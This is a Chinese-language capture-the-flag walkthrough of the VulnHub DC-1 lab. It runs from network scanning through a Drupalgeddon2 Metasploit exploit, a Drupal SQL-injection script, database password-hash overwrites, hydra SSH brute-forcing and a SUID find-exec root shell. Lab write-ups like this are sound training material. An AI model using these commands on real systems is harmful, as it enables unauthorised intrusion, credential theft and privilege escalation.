DC-1

借鉴我们OnePanda-Sec团队的文章

https://mp.weixin.qq.com/s/BbPkmDiZ-cRleiCqmj114w

靶场搭建

先导入DC-1靶场,并将连接改为NAT模式

信息收集

先通过nmap -sP进行扫描主机网段信息

nmap -sP 192.168.190.0/24

arp-scan -l

然后基本可以确定DC的IP了

DC-1:192.168.190.137
kali:192.168.190.128

得到了ip地址就可以搜集系统类型了

nmap -A -T4 192.168.190.137

  • nmap:Network Mapper 的简称 ,是一款开源免费的网络发现和安全审计工具,可用于列举网络主机清单、检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等 。
  • -A:表示使用进攻性方式扫描 。会启用操作系统检测(尝试识别目标主机的操作系统)、服务版本探测(识别开放端口上运行的服务及其版本号 )和脚本扫描(调用 Nmap 脚本引擎 NSE 执行一系列脚本,进行更深入检测,如漏洞检测、后门扫描等 )。
  • -T4:指定扫描过程使用的时序。Nmap 的时序有 0 - 5 共 6 个级别,T4 属于较高速度级别,扫描速度较快 ,但也相对更容易被防火墙或入侵检测系统(IDS)检测并屏蔽,在网络通讯状况较好时推荐使用。
  • 192.168.190.137:是目标主机的 IP 地址,即此次扫描的对象 。

我们大致可以看到端口以及服务信息

  • 22/tcp:SSH 服务开启,使用 OpenSSH 6.0p1 Debian 4+deb7u7 版本 ,展示了 DSA、RSA、ECDSA 三种类型的主机密钥。

  • 80/tcp:HTTP 服务开启,Web 服务器是 Apache HTTPD 2.2.22 (Debian) 。http - robots.txt 禁止访问 15 个目录和文件,网页标题为 “Welcome to Drupal Site | Drupal Site” ,网页生成器为 Drupal 7。

  • 111/tcp:rpcbind 服务开启,版本为 2 - 4 (RPC #100000) ,还有相关的 rpcinfo 信息。

  • MAC 地址:00:50:56:3F:73:32 ,设备类型推测为通用型,可能是 VMware 虚拟机。

  • 操作系统:推测为 Linux 3.2 - 3.16 版本 ,CPE(Common Platform Enumeration 通用平台枚举)标识为 cpe:/o:linux:linux_kernel:3

基本可以判断主机是开了网站的

​ 当然,我们也可以通过kali自带的whatweb进行扫描,这个可以扫描出是什么CMS,也更加全面

whatweb -v 192.168.190.137

从上面我们可以知道

Apache 2.2.22
PHP 5.4.45
Jquery 1.4.4
CMS Durpal 7

然后就是用dirsearch工具扫一下目录

dirsearch -u 192.168.190.137 -e *

*表示扫描常见的所有文件拓展名,dirsearch如果没有安装,使用该命令时会提示你安装

如果在运行时报错

扫完后会发现有很多目录

漏洞利用

我们知道了CMS的类型和版本,就可以从cms的角度入手(这在实战中也非常常见,通过历史遗留漏洞成为突破口)

我们可以利用msfconsole查找

search Drupal

我们用18年的excellent的漏洞

use exploit/unix/webapp/drupal_drupalgeddon2

show options查看一下我们需要的参数,其中yes为必填项

先设置一下rhosts(设置为目标机器)

set rhosts 192.168.190.137

设置完后我们可以再进行show options,养成一个好习惯,看看有没有设置成功。

然后直接run

当出现连接成功,就表示OK了

之后就是我们的后渗透了

shell一下执行一下我们的linux的命令

ls

可以看到存在flag1.txt

Every good CMS needs a config file - and so do you.

这句话翻译一下就是 每一个好的CMS都需要一个配置文件

find / -name settings.php

cat /var/www/sites/default/settings.php

查看一下,获得flag2

最重要的是我们得到了数据库的账号密码

并翻译一下flag2

暴力破解和字典攻击并非获取访问权限的唯一途径(而你确实需要获取访问权限 )。拿到这些凭证后你能做些什么?

得到了数据库的账号密码,不妨登录试一下

但发现一直卡着,因为shell无法直接交互数据库,需要在shell的情况下获得一个可以交互式的shell,当然需要有python环境的攻击机才行

python -c 'import pty; pty.spawn("/bin/bash")'

mysql -udbuser -pR0ck3t

show databases

use drupaldb

show tables

存在一个users表

select * from users

拿到密码了,但是发现根本爆破不出来,同样另外一个账户Fred也爆破不出来

解决这种无法爆破数据库中网站的密码,我们可以用其他方法

第一种:添加admin权限用户

先exit退回到msf页面

因为在之前我们知道了Drupal的版本为7,可以利用漏洞查找工具searchsploit来查找drupal方面的一个SQL注入的漏洞,会发现很多个漏洞脚本可以使用

searchsploit drupal

我们看一下34992.py这个脚本,可以通过这个URL进行下载

searchsploit 34992.py -p

然后下载下来放到kali里

python2 34992.py

这里需要我们加一下参数,目标URL网址,账号和密码

python2 34992.py -t http://192.168.190.137/ -u test -p test

访问网站,输入账号密码,成功登录

第二种方法:修改admin的密码

在进行之前,先run一下进入shell,并加入python交互性

在drupal里面,会自动给网站的密码进行加密

/var/www/scripts/password-hash.sh

而且可以加参数

得到这一串加密密码后,先登录数据库

mysql -udbuser -pR0ck3t

然后进行替换密码

use drupaldb;update users set pass = "$S$DYyGW7gbUhpGleULFWyeDmGwNxS6ygReItLe6J16hbW/noY/BEXf" where name = 'admin' or name = 'Fred';

这样就已经改了,我们也可以尝试一下爆破(因为这算是一个弱口令了)

然后尝试登录一下 admin/test123 可以登录成功

找到flag3

我们查看一下/etc/passwd,发现flag4

但是我们需要登录这个用户才可以查看

要登陆这个用户,需要获得密码,一个是爆破,一个是看shadow文件查看密码,会发现并没有shadow权限,因为这个需要root权限

第一种方法是使用hydra对这个flag4进行爆破,使用rockyou这个密码本

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.190.137

得到密码 orange

ssh flag4@192.168.190.137

然后回归到第二种方法就是提权,得到root权限,可以用SUID提权,需要利用find命令,查找具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

  • find:是 Linux 系统下用于查找文件和目录的命令 ,可根据文件名、文件类型、文件权限等多种条件在指定路径下进行搜索。
  • /:表示查找的起始路径为根目录,即从整个系统磁盘的根位置开始搜索。
  • -perm -u=s:
    • -perm:是按文件权限查找的选项 。
    • -u=s :这里 u 代表文件所有者(user ),s 代表设置了 SUID(Set - User - ID )权限 。-u=s 表示查找设置了 SUID 权限的文件,拥有 SUID 权限的文件在执行时,会以文件所有者的权限来运行,而非执行用户本身权限。
  • -type f-type 用于指定查找文件的类型,f 表示只查找普通文件,不包括目录、设备文件等其他类型文件 。
  • 2>/dev/null:
    • 2:代表标准错误输出(stderr )的文件描述符 。
    • >:是输出重定向符号 。
    • /dev/null :是一个特殊文件,被称为 “黑洞” 设备,所有写入它的数据都会被丢弃。2>/dev/null 意思是将命令执行过程中产生的错误信息重定向到 /dev/null ,即不显示错误输出 。

find比较好用,可以通过find执行root的权限查找文件,会发现获取了root的权限

find / -name index.php -exec "/bin/sh" \;

  • -name index.php-name 是按文件名查找的选项,index.php 是要查找的文件名,即查找名为 index.php 的文件 。
  • -exec "/bin/sh" ;:
    • -exec:表示对找到的文件执行指定的 shell 命令 。
    • "/bin/sh":是要执行的命令,/bin/sh 是系统的 Shell 解释器,这里表示执行一个 Shell 。但该命令存在严重问题,正常使用 -exec 时,需要用 {} 作为占位符来代表找到的文件,此处缺少,会导致不是对找到的 index.php 文件执行操作,而是不管是否找到文件都会尝试执行 /bin/sh
    • ;:是命令的结束标识,\ 是为了转义,防止 Shell 将 ; 当作命令分隔符提前处理 。

发现已经提权成功

获得最终flag

[VulnHub]DC-1靶场全过程的更多相关文章

  1. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  2. Vulnhub之Credit_Card_Scammers靶场渗透

    前言 一次"夺旗"练习,涵盖了许多不同的技巧. 背后的故事:骗子正在利用人们,各种假冒购物网站已经建立起来,但人们发现他们的订单从未到达.我们发现了一个诈骗网站,我们认为该网站正在 ...

  3. vulnhub: DC 2

    首先地址探测找到主机IP: root@kali:~# nmap -sn 192.168.74.139/24 Starting Nmap 7.80 ( https://nmap.org ) at 202 ...

  4. DC靶机1-9合集

    DC1 文章前提概述 本文介绍DC-1靶机的渗透测试流程 涉及知识点(比较基础): nmap扫描网段端口服务 msf的漏洞搜索 drupal7的命令执行利用 netcat反向shell mysql的基 ...

  5. Vulhub-DC-2靶场

    Vulhub-DC-2靶场 前言 最近一直忙于学习代码审计和内网渗透,所以靶场这方面的文章一直未更新,但是计划是更新完DC系列靶场的,这个不会鸽. DC-2的靶场是很简单的一共5个flag. 正文 f ...

  6. [红日安全]Web安全Day8 - XXE实战攻防

    本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...

  7. Vulnhub靶场DC-1 WP

    前言 之前提到过最近在做vlunhub的靶场复现工作,今天开始更新writeup吧.(对着walkthrough一顿乱抄嘻嘻嘻) 关于DC-1(官网翻译来的) 描述 DC-1是一个专门构建的易受攻击的 ...

  8. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  9. Vulnhub靶场渗透练习(一) Breach1.0

    打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...

  10. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

随机推荐

  1. .NET中优雅使用Patch: JsonPatch

    引言 在现代 Web API 开发中,我们经常需要对资源进行部分更新(Partial Update).传统的 PUT 请求会要求发送整个对象,而 PATCH 请求可以仅发送需要更新的字段.ASP.NE ...

  2. 浅谈HPC中的Lustre

    本文分享自天翼云开发者社区<浅谈HPC中的Lustre>,作者:n****m 1. 什么是 lustre? Lustre 体系结构是一个为集群设计的存储体系结构. 其核心组件是运行在 Li ...

  3. 管理虚拟机(libvirt)

    给我的理解就是与用户交互的"显示器" [root@kvm1 ~]# systemctl status libvirtd [root@kvm1 ~]# virsh virsh # l ...

  4. 支付宝 v3 自签名如何实现

    今天在看文档的时候,发现支付宝新出了一个 v3 版本的接口调用方式,感觉有点意思,花了点时间研究了下这个版本要怎么实现自签名,大家有兴趣可以看看. 什么是支付宝 API v3 版本? 官网上给的解释是 ...

  5. 攻城攻心的混淆大师——深入解析第十八届CISCN x 第二届长城杯初赛Reverse赛题vt

    前言 在初赛结束近两月之际,笔者在复盘过程中意外发现了这道当时无人能解的难题.经过两日深入的探索与钻研,笔者终于成功地对这道赛题进行了全面的解构.在品味破译flag所带来的喜悦之余,笔者亦深感此题蕴含 ...

  6. mysql 查看进程 删除单个、 多个进程语句

    查看所有的进程: show processlist 删除1个进程:  kill id 生成多个进程语句: select concat('KILL ',id,';') from information_ ...

  7. Linux - 安装centos7.x之后发现ping不了www.baidu.com

    1.首先检查网络配置 /etc/sysconfig/network-scripts 下的网卡配置文件是否有误 检查方向:IP.网关.子网掩码.DNS.ONBOOT参数 2.检查防火墙是否关闭 # 查看 ...

  8. SpringBoot - [02] 第一个SpringBoot程序

    jdk maven3.6.3 springboot最新版 idea 如果使用官网 Spring Initializr ,则需要jdk17.21.22,并且是Springboot3.x 可以在idea创 ...

  9. AXUI一个面向设计的UI前端框架,好用

    以下是官方介绍: ax的中文意义是:斧子,读音[aeks],取其攻击力强.简单实用之意为本前端框架命名.本团队开发了诸多网站项目,使用了许多常见的前端框架,结合实际项目经验,借鉴了同行的经验,特自主开 ...

  10. 【BUG】axios 长数字精度丢失问题

    问题原因 出现改问题是于javascript 整数范围问题 java 中 Long 类型 -2的63次方 - 2的63次方减去1 但是javascript整数范围确没有那么大,导致Long数字过大前端 ...